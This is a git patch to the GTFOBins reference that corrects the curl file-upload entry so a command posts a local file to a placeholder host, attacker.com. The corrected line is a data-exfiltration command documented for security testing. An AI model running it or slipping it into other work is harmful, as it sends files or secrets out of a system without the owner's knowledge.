From 40a850064e430833d6686e62deac2e9f183602e5 Mon Sep 17 00:00:00 2001 From: Victorio Scafati Date: Fri, 16 Dec 2022 11:15:44 -0300 Subject: [PATCH] Fix curl file-upload Co-authored-by: Andrea Cardaci --- _gtfobins/curl.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/curl.md b/_gtfobins/curl.md index 3b95f42..6a7149d 100644 --- a/_gtfobins/curl.md +++ b/_gtfobins/curl.md @@ -5,7 +5,7 @@ functions: code: | URL=http://attacker.com/ LFILE=file_to_send - curl -X POST -d @$file_to_send $URL + curl -X POST -d "@$LFILE" $URL file-download: - description: Fetch a remote file via HTTP GET request. code: |